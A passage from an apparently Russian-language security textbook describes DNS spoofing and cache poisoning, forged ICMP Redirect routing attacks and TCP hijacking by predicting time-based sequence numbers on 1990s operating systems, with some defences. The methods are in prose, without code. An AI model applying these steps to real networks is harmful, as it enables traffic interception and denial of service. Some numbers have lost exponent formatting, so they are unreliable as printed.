Внедрение в сеть Internet ложного DNS-сервера путем перехвата DNS-запроса – это удаленная атака на базе типовой атаки, связанной с ожиданием поискового DNS-запроса. Перед тем как рассмотреть алгоритм атаки на службу DNS, необходимо обратить внимание на некоторые тонкости в работе этой службы.

Во-первых, по умолчанию служба DNS функционирует на базе протокола UDP (хотя возможно и использование протокола TCP), что, естественно, делает ее менее защищенной, так как протокол UDP (в отличие от TCP) вообще не предусматривает средств идентификации сообщений. Для того чтобы перейти от UDP к TCP, администратору DNS-сервера придется очень серьезно изучить документацию (в стандартной документации на демон named в ОС Linux нет никакого упоминания о возможном выборе протокола, на котором будет работать DNS-сервер). Этот переход несколько замедлит систему, так как при использовании TCP требуется создание виртуального соединения, кроме того, конечная сетевая ОС вначале посылает DNS-запрос с использованием протокола UDP, и только в том случае, если придет специальный ответ от DNS-сервера, она пошлет следующий запрос с использованием TCP.

Во-вторых, начальное значение поля «порт отправителя» в UDP-пакете >= 1023 и увеличивается с каждым переданным DNS-запросом.

В-третьих, значение идентификатора (ID) DNS-запроса устанавливается следующим образом. В случае передачи DNS-запроса с хоста оно зависит от конкретного сетевого приложения, вырабатывающего DNS-запрос. Эксперименты показали, что если запрос посылается из оболочки командного интерпретатора (SHELL) операционных систем Linux и Windows 95 (например, ftp nic.funet.fi), то это значение всегда равняется единице. Если же DNS-запрос передается из Netscape Navigator или его посылает непосредственно DNS-сервер, то с каждым новым запросом сам браузер или сервер увеличивает значение идентификатора на единицу. Все эти тонкости имеют значение в случае атаки без перехвата DNS-запроса.

Для реализации атаки путем перехвата DNS-запроса кракеру необходимо перехватить запрос, извлечь из него номер UDP-порта хоста отправителя, двухбайтовое значение ID-идентификатора DNS-запроса и искомое имя, а затем послать ложный DNS-ответ на извлеченный из DNS-запроса UDP-порт, где в качестве искомого IP-адреса указать настоящий IP-адрес ложного DNS-сервера. Такой вариант атаки в дальнейшем позволит полностью перехватить трафик между атакуемым хостом и сервером и активно воздействовать на него по схеме «ложный объект РВС».

Рассмотрим обобщенную схему работы ложного DNS-сервера (рис. 4.5):

Рис. 4.5. Функциональная схема ложного DNS-сервера

1. Ожидание DNS-запроса.

2. Извлечение из полученного сообщения необходимых сведений и передача по сети на запросивший хост ложного DNS-ответа от имени (с IP-адреса) настоящего DNS-сервера с указанием в этом ответе IP-адреса ложного DNS-сервера.

3. В случае получения пакета от хоста – изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного DNS-сервера и передача пакета на сервер (то есть ложный DNS-сервер ведет работу с сервером от своего имени).

4. В случае получения пакета от сервера – изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного DNS-сервера и передача пакета на хост (для хоста ложный DNS-сервер и есть настоящий сервер).

Необходимым условием осуществления данного варианта атаки является перехват DNS-запроса, а это возможно только в том случае, если атакующий находится либо на пути основного трафика, либо в одном сегменте с DNS-сервером. В результате подобная удаленная атака становится трудноосуществимой на практике (попасть в сегмент DNS-сервера, и тем более в межсегментный канал связи, взломщику, скорее всего, не удастся). Однако при выполнении этих условий можно осуществить межсегментную удаленную атаку на сеть Internet.

Отметим, что практическая реализация данной удаленной атаки выявила ряд интересных особенностей в работе протокола FTP и в механизме идентификации TCP-пакетов (см. раздел «Подмена одного из субъектов TCP-соединения в сети Internet»). В случае, когда FTP-клиент на хосте подключался к удаленному FTP-серверу через ложный DNS-сервер, оказывалось, что каждый раз после выдачи пользователем прикладной команды FTP (например, ls, get, put и т. д.) FTP-клиент вырабатывал команду PORT, которая состояла в передаче на FTP-сервер в поле данных TCP-пакета номера порта и IP-адреса клиентского хоста (особый смысл в этих действиях трудно найти: зачем каждый раз передавать на FTP-сервер IP-адрес клиента?). Если на ложном DNS-сервере не изменить в поле данных IP-адрес и переслать пакет на FTP-сервер по обыкновенной схеме, то следующий пакет будет передан FTP-сервером на хост FTP-клиента, минуя ложный DNS-сервер. Что самое интересное, такой пакет будет воспринят как нормальный, и в дальнейшем ложный DNS-сервер потеряет контроль над трафиком между FTP-сервером и FTP-клиентом. Это связано с тем, что обычный FTP-сервер не предусматривает никакой дополнительной идентификации FTP-клиента, а перекладывает все проблемы идентификации пакетов и соединений на более низкий уровень – уровень TCP (транспортный).

Направленный шторм ложных DNS-ответов на атакуемый хост

Другой вариант осуществления удаленной атаки – внедрение в сеть Internet ложного сервера путем создания направленного шторма ложных DNS-ответов на атакуемый хост – основан на второй разновидности типовой атаки «ложный объект РВС» (при использовании недостатков алгоритмов удаленного поиска). В этом случае кракер осуществляет постоянную передачу на атакуемый хост заранее подготовленного ложного DNS-ответа от имени настоящего DNS-сервера без приема DNS-запроса. Другими словами, атакующий создает в сети Internet направленный шторм ложных DNS-ответов. Это возможно, так как обычно для передачи DNS-запроса используется протокол UDP, в котором отсутствуют средства идентификации пакетов. Сетевая ОС хоста предъявляет следующие требования к полученному от DNS-сервера ответу: IP-адрес отправителя ответа должен совпадать с IP-адресом DNS-сервера, а имя в DNS-ответе – с именем в DNS-запросе; кроме того, DNS-ответ следует направить на тот же UDP-порт, с которого было послано сообщение (в данном случае это первая проблема для взломщика), и поле идентификатора запроса (ID) в заголовке DNS-ответа должно содержать то же значение, что и в переданном запросе (а это вторая проблема).

Так как атакующий не имеет возможности перехватить DNS-запрос, основную проблему для него представляет номер UDP-порта, с которого этот запрос был послан. Однако, как было отмечено ранее, номер порта отправителя принимает ограниченный набор значений (> 1023), поэтому атакующему достаточно действовать простым перебором, направляя ложные ответы на соответствующий перечень портов. На первый взгляд, второй проблемой может стать двухбайтовый идентификатор DNS-запроса, но он либо равен единице, либо, в случае DNS-запроса, например от Netscape Navigator, имеет значение близкое к нулю (один запрос – ID увеличивается на 1).

Поэтому для осуществления данной удаленной атаки взломщику необходимо выбрать интересующий его объект (например, сервер top.secret.com), маршрут к которому требуется изменить так, чтобы он проходил через ложный сервер – хост кракера. Это достигается постоянной передачей (направленным штормом) ложных DNS-ответов на соответствующие UDP-порты атакуемого объекта. В этих ложных DNS-ответах в качестве IP-адреса хоста top.secret.com указывается IP-адрес атакующего. Далее атака развивается по следующей схеме. Как только атакуемый обратится по имени к хосту top.secret.com, то от данного хоста в сеть будет передан DNS-запрос, который атакующий никогда не получит. Однако кракеру этого и не требуется, так как на объект атаки сразу же поступит постоянно передаваемый ложный DNS-ответ, что и будет воспринято ОС атакуемого хоста как настоящий ответ от DNS-сервера. Все! Атака состоялась, и теперь жертва будет передавать все пакеты, предназначенные для top.secret.com, на IP-адрес хоста взломщика, который, в свою очередь, будет переправлять их на top.secret.com, воздействуя на перехваченную информацию по схеме «ложный объект РВС».

...

Конечно, условием успеха этой атаки будет получение объектом атаки ложного DNS-ответа ранее настоящего ответа от ближайшего DNS-сервера. Поэтому для повышения вероятности ее успеха желательно нарушить работоспособность ближайшего DNS-сервера (например, путем создания направленного шторма UDP-запросов на 53-й порт).

Рассмотрим функциональную схему предложенной удаленной атаки на службу DNS (рис. 4.6):

Рис. 4.6. Внедрение в Internet ложного сервера путем создания направленного шторма ложных DNS-ответов на атакуемый хост

1. Постоянная передача кракером ложных DNS-ответов на различные UDP-порты атакуемого хоста и, возможно, с различными ID от имени (с IP-адреса) настоящего DNS-сервера с указанием имени интересующего хоста и его ложного IP-адреса, которым будет являться IP-адрес ложного сервера – хоста атакующего.

2. В случае получения пакета от хоста – изменение в IP-заголовке пакета его IP-адреса на IP-адрес атакующего и передача пакета на сервер (то есть ложный сервер ведет работу с сервером от своего имени – со своего IP-адреса).

3. В случае получения пакета от сервера – изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного сервера и передача пакета на хост (для хоста ложный сервер и есть настоящий сервер).

Таким образом, реализация данной удаленной атаки, использующей пробелы в безопасности службы DNS, позволяет из любой точки сети Internet нарушить маршрутизацию между двумя заданными объектами (хостами). Такая атака осуществляется межсегментно по отношению к цели атаки и угрожает безопасности любого хоста Internet, использующего обычную службу DNS.

Перехват DNS-запроса или создание направленного шторма ложных DNS-ответов на DNS-сервер

Рассмотрим внедрение в сеть Internet ложного сервера путем перехвата DNS-запроса или создания направленного шторма ложных DNS-ответов на атакуемый DNS-сервер.

Из рассмотренной ранее схемы удаленного DNS-поиска следует, что если DNS-сервер не обнаружил указанное в запросе имя в своей базе имен, то такой запрос отсылается им на один из ответственных за домены верхних уровней DNS-серверов, адреса которых содержатся в файле настроек сервера root.cache.

Итак, если DNS-сервер не имеет сведений о запрашиваемом хосте, то он сам, пересылая запрос далее, является инициатором удаленного DNS-поиска. Поэтому ничто не мешает кракеру, действуя описанными в предыдущих пунктах методами, перенести свой удар непосредственно на DNS-сервер. В таком случае ложные DNS-ответы будут направляться атакующим от имени корневого DNS-сервера на атакуемый DNS-сервер.

При этом важно учитывать следующую особенность работы DNS-сервера. Для ускорения работы каждый DNS-сервер кэширует в области памяти свою DNS-таблицу соответствия имен и IP-адресов хостов. В том числе в кэш заносится динамически изменяемая информация об именах и IP-адресах хостов, найденных в процессе функционирования DNS-сервера, то есть, если DNS-сервер, приняв запрос, не находит у себя в кэш-таблице соответствующей записи, он пересылает запрос на следующий сервер и, получив ответ, заносит найденные сведения в кэш-таблицу. Таким образом, при получении следующего запроса DNS-серверу уже не требуется вести удаленный поиск, так как необходимые сведения находятся у него в кэш-таблице.

Анализ подробно описанной здесь схемы удаленного DNS-поиска показывает, что если на запрос от DNS-сервера атакующий направит ложный DNS-ответ или (в случае шторма ложных ответов) будет вести их постоянную передачу, то в кэш-таблице сервера появится соответствующая запись с ложными сведениями, и в дальнейшем все хосты, обратившиеся к данному DNS-серверу, будут дезинформированы, а при адресации к хосту, маршрут к которому кракер решил изменить, связь с ним будет осуществляться через хост атакующего по схеме «ложный объект РВС». И, что хуже всего, с течением времени эта ложная информация, попавшая в кэш DNS-сервера, начнет распространяться на соседние DNS-серверы высших уровней, а следовательно, все больше хостов в Internet будут дезинформированы и атакованы.

Очевидно, что в том случае, когда взломщик не может перехватить DNS-запрос от DNS-сервера, для реализации атаки ему необходим шторм ложных DNS-ответов, направленный на DNS-сервер. При этом возникает следующая проблема, отличная от проблемы подбора портов в случае атаки на хост. Как уже отмечалось, DNS-сервер, посылая запрос на другой DNS-сервер, идентифицирует этот запрос двухбайтовым значением (ID). Это значение увеличивается на единицу с каждым передаваемым запросом. Атакующему узнать текущее значение идентификатора DNS-запроса не представляется возможным. Поэтому предложить что-либо, кроме перебора 216 вероятных значений ID, сложно. Зато исчезает проблема перебора портов, так как все DNS-запросы передаются DNS-сервером на порт 53.

Рис. 4.7. Внедрение в Internet ложного сервера путем перехвата DNS-запроса от DNS-сервера

Еще одно условие осуществления атаки на DNS-сервер с использованием направленного шторма ложных DNS-ответов состоит в том, что она будет иметь успех только в случае, если DNS-сервер пошлет запрос на поиск имени, которое содержится в ложном DNS-ответе. DNS-сервер посылает этот столь необходимый и желанный для атакующего запрос лишь тогда, когда на него приходит DNS-запрос от какого-либо хоста на поиск данного имени и этого имени не оказывается в кэш-таблице DNS-сервера. Такой запрос может появиться когда угодно, и кракеру придется ждать результатов атаки неопределенное время. Однако ничто не мешает атакующему, никого не дожидаясь, самому послать на атакуемый DNS-сервер подобный DNS-запрос и спровоцировать DNS-сервер на поиск указанного в запросе имени. Тогда эта атака с большой вероятностью будет иметь успех практически сразу же после начала ее осуществления.

Вспомним, например, скандал, произошедший 28 октября 1996 года вокруг одного из московских провайдеров Internet – компании РОСНЕТ, когда пользователи данного провайдера при обращении к обычному информационному WWW-серверу попадали, как было сказано в телевизионном репортаже, «на WWW-сервер сомнительного содержания». Этот инцидент вполне укладывается в только что описанную схему удаленной атаки на DNS-сервер. С одним исключением: вместо адреса хоста атакующего в кэш-таблицу DNS-сервера был занесен IP-адрес другого, не принадлежащего взломщику, хоста (порносайта).

Рис. 4.8. Внедрение в Internet ложного сервера путем создания направленного шторма ложных DNS-ответов на атакуемый DNS-сервер

Уже затем нам довелось ознакомиться с интервью, которое якобы дал кракер, осуществивший этот взлом. Из интервью следовало, что атака использовала некую известную «дыру» в WWW-сервере РОСНЕТ, что и позволило атакующему подменить одну ссылку другой. Осуществление воздействий такого типа является, по сути, тривиальным и не требует от взломщика практически никакой квалификации, за исключением изрядной доли усидчивости и навыков в применении известных технологий (подчеркнем: именно осуществление, а не нахождение этой «дыры»). По нашему глубокому убеждению, тот, кто найдет уязвимость, и тот, кто осуществит на ее базе взлом, скорее всего, будут разными лицами, так как обычно специалист, обнаруживший «дыру», не интересуется вопросами практического применения полученных знаний. (Р. Т. Моррис не стал исключением, просто его червь из-за ошибки в коде вышел из-под контроля, и пользователям Сети был нанесен определенный ущерб.) В завершение хотелось бы снова вернуться к службе DNS и сказать, что, как следует из вышеизложенного, использование в сети Internet службы удаленного поиска DNS позволяет атакующему организовать удаленную атаку на любой хост, пользующийся услугами данной службы, и может пробить серьезную брешь в безопасности этой, и так отнюдь не безопасной, глобальной сети. Как указывал С. М. Белловин (S. M. Bellovin) в ставшей почти классической работе [14]: «A combined attack on the domain system and the routing mechanisms can be catastrophic» («Комбинированная атака на доменную систему и механизмы маршрутизации может привести к катастрофическим последствиям»).

Навязывание хосту ложного маршрута с использованием протокола ICMP

Общеизвестно, что маршрутизация в Сети играет важнейшую роль для обеспечения ее нормального функционирования. Маршрутизация в Internet осуществляется на сетевом уровне (IP-уровень). На программном уровне для ее обеспечения в памяти сетевой операционной системы каждого хоста существуют специальные таблицы, содержащие данные о возможных маршрутах. На аппаратном уровне каждый сегмент Сети подключен к глобальной сети как минимум через один маршрутизатор, а следовательно, все хосты и маршрутизатор должны физически располагаться в одном сегменте. Поэтому все сообщения, адресованные в другие сегменты Сети, направляются на маршрутизатор, который, в свою очередь, перенаправляет их далее по указанному в пакете IP-адресу, выбирая при этом оптимальный маршрут. Рассмотрим, что представляет собой таблица маршрутизации хоста. Она состоит из пяти колонок: сетевой адрес, сетевая маска, адрес маршрутизатора, интерфейс и метрика (см. рис. 4.9).

Рис. 4.9. Таблица маршрутизации хоста

В каждой строке этой таблицы содержится описание соответствующего маршрута, которое включает IP-адрес конечной точки пути (сетевой адрес), IP-адрес соответствующего ближайшего маршрутизатора (адрес маршрутизатора), а также ряд других параметров, характеризующих этот путь. Обычно в системе существует так называемый маршрут по умолчанию (поле «сетевой адрес» содержит значение 0.0.0.0, заданное по умолчанию, а поле «адрес маршрутизатора» – IP-адрес маршрутизатора): все пакеты, посылаемые на IP-адрес вне пределов данной подсети, будут направляться по этому пути, то есть на маршрутизатор. IP-адресация, как адресация на сетевом уровне, была задумана именно для межсегментной передачи данных из одной точки глобальной сети в другую. Для обращения на канальном уровне используются аппаратные адреса сетевых карт. Если бы Сеть представляла собой всего один сегмент, то дополнительной IP-адресации не потребовалось бы, так как аппаратных адресов сетевых адаптеров было бы вполне достаточно для непосредственной пересылки пакетов. Сегодня Internet представляет собой совокупность сегментов, соединенных через маршрутизаторы, и в Сети мы вынуждены использовать систему двойной адресации (по аппаратным и сетевым адресам). Поэтому, когда пакет направляется в другой сегмент Сети, в заголовке сетевого уровня указывается IP-адрес назначения, а в заголовке канального уровня – Ethernet-адрес ближайшего маршрутизатора.

Немного о ICMP

Как известно, в сети Internet существует управляющий протокол ICMP (Internet Control Message Protocol), одной из функций которого является удаленное управление таблицей маршрутизации на хостах внутри сегмента Сети. Динамическое удаленное управление маршрутизацией изначально задумывалось для предотвращения возможной передачи сообщений по неоптимальному маршруту, а также для повышения отказоустойчивости Сети в целом. Предполагалось, что сетевой сегмент может быть подключен к Internet не через один (как это обычно происходит), а через несколько маршрутизаторов. В этом случае адресоваться во внешнюю сеть можно через любой из ближайших узлов. Это довольно удобно как с точки зрения оптимальности маршрута (например, к хосту www.example.one кратчайший маршрут проходит через первый маршрутизатор, а к хосту www.example.two – через второй маршрутизатор), так и с точки зрения повышения надежности работы Сети: при выходе из строя одного из маршрутизаторов связь с внешним миром возможна через другой маршрутизатор. В обоих случаях – как при изменении оптимального маршрута, так и при выходе из строя маршрутизатора – необходимо изменение таблицы маршрутизации в памяти сетевой операционной системы. Одно из назначений протокола ICMP состоит именно в динамическом изменении таблицы маршрутизации оконечных сетевых систем.

Итак, в Internet удаленное управление маршрутизацией реализовано в виде передачи с маршрутизатора на хост управляющего ICMP-сообщения Redirect Message (Перенаправить сообщение). Заголовок сообщения представлен на рис. 4.10.

Рис. 4.10. Заголовок сообщения ICMP Redirect Message

Поля сообщения принимают следующие значения: поле Type – 5, поле Code – 0 = Redirect datagrams for the Network, 1 = Redirect datagrams for the Host, 2 = Redirect datagrams for the Type of Service and Network или 3 = Redirect datagrams for the Type of Service and Host.

Как следует из спецификации протокола ICMP, сообщение Redirect бывает двух видов. Первый вид сообщения (code 0) носит название Redirect Datagrams for the Network (Таблица данных перенаправления в сетях) и уведомляет хост о необходимости смены адреса маршрутизатора, заданного по умолчанию, или о смене маршрута к определенной подсети. Второй вид (code 1) – Redirect Datagrams for the Host (Таблица данных перенаправления для хоста) – информирует хост о том, что следует создать новый маршрут к отмеченному в сообщении объекту и внести его в таблицу маршрутизации, указывая IP-адрес хоста, для которого нужна смена маршрута (адрес будет занесен в поле Destination (Назначение) в пристыкованном IP-заголовке), и новый IP-адрес маршрутизатора, куда необходимо направлять пакеты для данного хоста (этот адрес заносится в поле Gateway). В результате исследования реакции различных сетевых систем на данное ICMP-сообщение выяснилось важное ограничение, накладываемое на IP-адрес нового маршрутизатора, – он должен быть в пределах адресов данной подсети.

Исследование публикаций, посвященных протоколу ICMP, показало, что сообщение Redirect Datagrams for the Network устарело и уже не используется современными сетевыми ОС. Это подтверждает и проведенный авторами анализ исходных текстов ОС Linux 1.2.8. Иначе дело обстоит с управляющим сообщением Redirect Datagrams for the Host: здесь нет такого единства в рядах разработчиков различных сетевых ОС. Наши исследования показали, что на практике многие из известных UNIX-систем игнорируют это сообщение. Например, если в версии Linux 1.2.8 еще была реакция на Redirect Datagrams for the Host, то уже в версии Linux 2.0.0 такое сообщение игнорировалось. Иначе обстоит дело с ОС фирмы Microsoft – Windows 95 и Windows NT. Опасность Redirect Datagrams for the Host не была принята во внимание, и обе системы реагируют на это сообщение, позволяя удаленно изменять таблицу маршрутизации на любом Windows-хосте.

Итак, мы подошли к основному вопросу: в чем же потенциальная опасность реакции сетевой ОС на ICMP-сообщение Redirect Datagrams for the Host? Ответ очевиден: существует возможность несанкционированного изменения маршрутизации на хосте. Что может помешать кракеру самому послать подобное сообщение и навязать системе ложный маршрут? К сожалению, ничего. Анализ механизма идентификации ICMP-сообщения Redirect показывает, что единственным параметром, идентифицирующем это сообщение, является IP-адрес отправителя, который должен совпадать с IP-адресом маршрутизатора, так как это сообщение может и должно передаваться только маршрутизатором. Особенность протокола ICMP состоит в том, что он не предусматривает никакой дополнительной аутентификации отправителей. То есть ICMP-сообщения передаются на хост маршрутизатором однонаправленно без создания виртуального соединения (в процессе создания такого соединения можно было бы динамически, например по схеме Диффи-Хелмана, выработать идентифицирующую информацию). А так как ни хост, ни маршрутизатор не имеют заранее определенной статической ключевой информации для идентификации ICMP-сообщения Redirect, то очевидно, что в данном случае у получателя такого сообщения нет возможности установить подлинность его отправителя. Следовательно, ничто не мешает атакующему самому послать ложное ICMP-сообщение Redirect о смене маршрута от имени ближайшего роутера.

Приведенные выше факты позволяют осуществить типовую удаленную атаку «внедрение в распределенную ВС ложного объекта путем навязывания ложного маршрута».

Для осуществления этой удаленной атаки необходимо подготовить ложное ICMP-сообщение Redirect Datagrams for the Host, где указать конечный IP-адрес маршрута (адрес хоста, маршрут к которому будет изменен) и IP-адрес ложного маршрутизатора. Затем такое сообщение передается на атакуемый хост от имени маршрутизатора, для чего в IP-заголовке в поле адреса отправителя указывается IP-адрес маршрутизатора. Можно предложить два варианта данной удаленной атаки.

В первом случае кракер находится в том же сегменте сети, что и объект атаки. Тогда, послав ложное ICMP-сообщение, он в качестве IP-адреса нового маршрутизатора может указать свой IP-адрес или любой из адресов данной подсети. Это даст атакующему возможность перемаршрутизировать сообщения, направляемые атакованным хостом на определенный IP-адрес, и получить контроль над трафиком между этим хостом и интересующим взломщика сервером. Далее атака перейдет во вторую стадию, связанную с приемом, анализом и передачей пакетов, получаемых от «обманутого» хоста. Рассмотрим функциональную схему осуществления этой атаки (рис. 4.11):

Рис. 4.11. Внутрисегментное навязывание хосту ложного маршрута при использовании протокола ICMP

1. Передача на атакуемый хост ложного ICMP-сообщения Redirect Datagrams for the Host.

2. Если пришел ARP-запрос от атакуемого хоста, то посылается ARP-ответ.

3. Если пришел пакет от атакуемого хоста, то он переправляется на настоящий маршрутизатор.

4. Если пришел пакет от маршрутизатора, то он переправляется на атакуемый хост.

5. При приеме пакета возможно воздействие на информацию по схеме «ложный объект РВС».

При осуществлении второго варианта удаленной атаки кракер находится в другом сегменте относительно цели атаки. Тогда в случае передачи на атакуемый хост ложного ICMP-сообщения Redirect сам взломщик уже не может получить контроль над трафиком, так как адрес нового маршрутизатора должен находиться в пределах подсети атакуемого хоста. То есть использование данного варианта атаки не позволит атакующему получить доступ к передаваемой по каналу связи информации; в этом случае атака достигает другой цели – нарушения работоспособности хоста (рис. 4.12). Кракер с любого хоста в Internet может послать подобное сообщение на объект атаки, и если сетевая ОС на этом хосте не проигнорирует данное сообщение, то связь между хостом и указанным в ложном ICMP-сообщении сервером нарушится. Это произойдет потому, что все пакеты, направляемые хостом на этот сервер, будут отправлены на IP-адрес несуществующего маршрутизатора. Для того чтобы выполнить такую межсегментную атаку, атакующему необходимо, во-первых, знать внутренний IP-адрес маршрутизатора, к которому подключен хост, и, во-вторых, выбрать имя сервера, которому требуется изменить маршрутизацию.

Рис. 4.12. Межсегментное навязывание хосту ложного маршрута при использовании протокола ICMP, приводящее к отказу в обслуживании

Первая проблема – внутренний IP-адрес маршрутизатора – решается только простым перебором, так как узнать этот адрес из внешней сети не представляется возможным (например, утилита traceroute даст только IP-адрес маршрутизатора во внешней сети). Так как большинство хостов в сети находится в подсетях класса C, то для осуществления этой атаки достаточно будет послать 256 ICMP-сообщений Redirect с различными IP-адресами отправителя. Например, IP-адрес хоста 194.85.96.197. Предположим, что этот хост находится в подсети класса С, тогда IP-адрес маршрутизатора, к которому он подключен, будет иметь те же первые три байта: 194.85.96.*, и взломщику достаточно будет перебрать только последний байт (послать 256 пакетов).

Вторая проблема для кракера – выбор имени (или IP-адреса) сервера, к которому будет изменена маршрутизация. Очевидно, что узнать, к какому серверу наиболее часто обращается пользователь данного хоста, для атакующего не представляется возможным. Однако взломщик может, посылая неограниченное число ICMP-сообщений Redirect, последовательно изменять маршрутизацию к наиболее известным или часто используемым серверам Internet (поисковые серверы, серверы известных фирм и т. д.). Дело сильно упростится в том случае, если кракер обладает некоторой информацией об атакуемом объекте (например, он является бывшим сотрудником данной фирмы).

Эксперимент показал, что оба варианта рассмотренной удаленной атаки удается осуществить как межсегментно, так и внутрисегментно на ОС Linux 1.2.8, ОС Windows 95 и ОС Windows NT 4.0. Остальные сетевые ОС, исследованные нами (Linux версии выше 2.0.0 и CX/LAN/SX, защищенная по классу B1 UNIX), игнорировали ICMP-сообщение Redirect, что кажется вполне логичным с точки зрения обеспечения безопасности.

Защититься от этого воздействия можно фильтрацией проходящих ICMP-сообщений Redirect при помощи систем Firewall. Другой способ защиты заключается в изменении исходных текстов сетевого ядра операционных систем с дальнейшей его перекомпиляцией, чтобы запретить реакцию на ICMP-сообщение Redirect. Однако это возможно только в случае свободного распространения исходных текстов ОС (как в случае с ОС Linux или ОС FreeBSD).

Подмена одного из субъектов TCP-соединения в сети Internet

Transmission Control Protocol (протокол TCP) является одним из базовых протоколов транспортного уровня сети Internet. Он позволяет исправлять ошибки, которые могут возникнуть в процессе передачи пакетов, устанавливая логическое соединение – виртуальный канал. По этому каналу передаются и принимаются пакеты с регистрацией их последовательности, осуществляется управление информационным потоком, организовывается повторная передача искаженных пакетов, а в конце сеанса канал разрывается. При этом протокол TCP является единственным базовым протоколом из семейства TCP/IP, имеющим дополнительную систему идентификации сообщений и соединения. Именно поэтому протоколы прикладного уровня FTP и TELNET, предоставляющие пользователям удаленный доступ на хосты Internet, реализованы на базе протокола TCP.

Для идентификации TCP-пакета в TCP-заголовке существуют два 32-разрядных идентификатора – Sequence Number (Номер последовательности) и Acknowledgment Number (Номер подтверждения), которые также играют роль счетчиков пакетов. Поле Control Bits (Контрольная сумма) размером 6 бит может содержать следующие командные биты (слева направо): URG – Urgent Pointer Field Significant (Значение поля безотлагательного указателя), ACK – Acknowledgment Field significant (Значение поля подтверждения), PSH – Push Function, RST – Reset the Connection (Восстановить соединение), SYN – Synchronize Sequence Numbers (Синхронизировать числа последовательности), FIN – No More Data from Sender (Конец передачи данных от отправителя).

Рассмотрим схему создания TCP-соединения (рис. 4.13).

Рис. 4.13. Схема создания TCP-соединения

Предположим, что хосту А необходимо создать TCP-соединение с хостом В. Тогда А посылает на В следующее сообщение: SYN, ISSa.

Это означает, что в передаваемом A сообщении установлен бит SYN (Synchronize Sequence Number), а в поле Sequence Number установлено начальное 32-битное значение ISSa (Initial Sequence Number).

Хост В отвечает: SYN, ACK, ISSb, ACK(ISSa+1).

В ответ на полученный от А запрос В посылает сообщение, в котором установлены бит SYN и бит ACK; в поле Sequence Number хостом В задается свое начальное значение счетчика – ISSb; поле Acknowledgment Number содержит значение ISSa, полученное в первом пакете от хоста А и увеличенное на единицу.

Хост А, завершая рукопожатие (handshake), посылает: ACK, ISSa+1, ACK(ISSb+1).

В этом пакете установлен бит ACK; поле Sequence Number содержит значение ISSa+1; поле Acknowledgment Number содержит значение ISSb+1. Посылкой этого пакета на хост В заканчивается трехступенчатый handshake, и TCP-соединение между хостами А и В считается установленным.

Теперь хост А может посылать пакеты с данными на хост В по только что созданному виртуальному TCP-каналу; передается следующая информация: ACK, ISSa+1, ACK(ISSb+1); DATA.

Из рассмотренной схемы создания TCP-соединения видно, что единственными идентификаторами, помимо IP-адреса инициатора соединения, TCP-абонентов и TCP-соединения, являются два 32-битных параметра Sequence Number и Acknowledgment Number. Следовательно, для формирования ложного TCP-пакета атакующему необходимо знать текущие идентификаторы для данного соединения – ISSa и ISSb. Это означает, что кракеру достаточно, подобрав соответствующие текущие значения идентификаторов TCP-пакета для данного TCP-соединения (например, данное соединение может представлять собой FTP– или TELNET-подключение), послать пакет с любого хоста в сети Internet от имени одного из участников данного соединения (например, от имени клиента), указывая в заголовке IP-пакета его IP-адрес, и данный пакет будет воспринят как верный.

Итак, для осуществления описанной выше атаки необходимым и достаточным условием является знание двух текущих 32-битных параметров ISSa и ISSb, идентифицирующих TCP-соединение. Рассмотрим возможные способы их получения.

Если взломщик находится в одном сегменте с объектом атаки или через сегмент кракера проходит трафик такого хоста, то задача получения значений ISSa и ISSb является тривиальной и решается путем сетевого анализа. Следовательно, нельзя забывать что протокол TCP позволяет защитить соединение только в случае невозможности перехвата атакующим сообщений, передаваемых по данному соединению, то есть тогда, когда кракер находится в других сегментах относительно абонентов TCP-соединения. Поэтому наибольший интерес для нас представляют межсегментные атаки, когда атакующий и его цель находятся в разных сегментах Сети. В этом случае задача получения значений ISSa и ISSb не является тривиальной. Далее предлагается следующее решение обозначенной проблемы.

Предсказание начального значения идентификатора TCP-соединения

Рассмотрим математическое предсказание начального значения идентификатора TCP-соединения экстраполяцией его предыдущих значений.

Первый вопрос, который возникает в данном случае: как сетевая операционная система формирует начальное значение ISSa или так называемый ISN – Initial Sequence Number (Начальный номер последовательности)? Очевидно, что наилучшим с точки зрения безопасности решением будет генерация значения ISN по случайному закону с использованием программного (а лучше аппаратного) генератора псевдослучайных чиселс достаточно большим периодом, тогда каждое новое значение ISN не будет зависеть от его предыдущего, и, следовательно, у атакующего не будет даже теоретической возможности нахождения функционального закона получения ISN.

На практике, однако, оказывается, что подобные правила случайной генерации ISN как для составителей описания протокола TCP (RFC 793), так и для разработчиков сетевого ядра различных ОС далеко не очевидны. Об этом говорят следующие факты. В описании протокола TCP в RFC 793 рекомендуется увеличивать значение этого 32-битного счетчика на 1 каждые 4 микросекунды. В ранних Berkeley-совместимых ядрах ОС UNIX, например, значение этого счетчика увеличивалось на 128 каждую секунду и на 64 для каждого нового соединения. Анализ исходных текстов ядра ОС Linux 1.2.8 показал, что значение ISN вычисляется данной ОС в зависимости от текущего времени по следующему, отнюдь не случайному закону:

ISN = mcsec + 1 000 000 sec, (1)

где mcsec – время в микросекундах;

sec – текущее время в секундах; отсчет его идет от 1970 года.

В ОС Windows NT 4.0 значение ISN увеличивается на 10 примерно каждую миллисекунду, то есть для Windows NT справедлива следующая формула:

ISN ? 10 msec, (2) где msec – текущее время в миллисекундах.

Однако больше всего нас удивила защищенная по классу B1 операционная система CX/LAN/SX, установленная на многопроцессорной мини-ЭВМ – полнофункциональном межсетевом экране CyberGuard. Эта наиболее защищенная из всех, что встречалась авторам, сетевая ОС также имеет простой времязависимый алгоритм генерации начального значения идентификатора TCP-соединения. Как говорится, комментарии излишни. Мало того, что в единственном базовом «защищенном» протоколе Internet – протоколе TCP – применяется простейший способ идентификации соединения, который не может гарантировать надежную защиту от подмены одного из абонентов при нахождении атакующего в том же сегменте, так еще сами разработчики сетевых ОС разрушают и без того хрупкую безопасность этого протокола, используя простые времязависимые алгоритмы генерации ISN. Итак, в том случае если в сетевой операционной системе используется времязависимый алгоритм генерации начального значения идентификатора TCP-соединения, то взломщик получает принципиальную возможность определить с той или иной степенью точности вид функции, описывающей закон получения ISN. Исходя из практических исследований сетевых ОС, а также из общих теоретических соображений, можно предложить следующий обобщенный вид функции, описывающий времязависимый закон получения ISN, который постоянно увеличивается каждую секунду:

ISN = F (mсsec, msec, sec), (3)

где mcsec – время в микросекундах; (обычно минимальной единицей измерения машинного времени является микросекунда); циклически изменяется за одну секунду от 0 до 106 – 1;

msec – текущее время в миллисекундах; этот параметр циклически изменяется за секунду от 0 до 999;

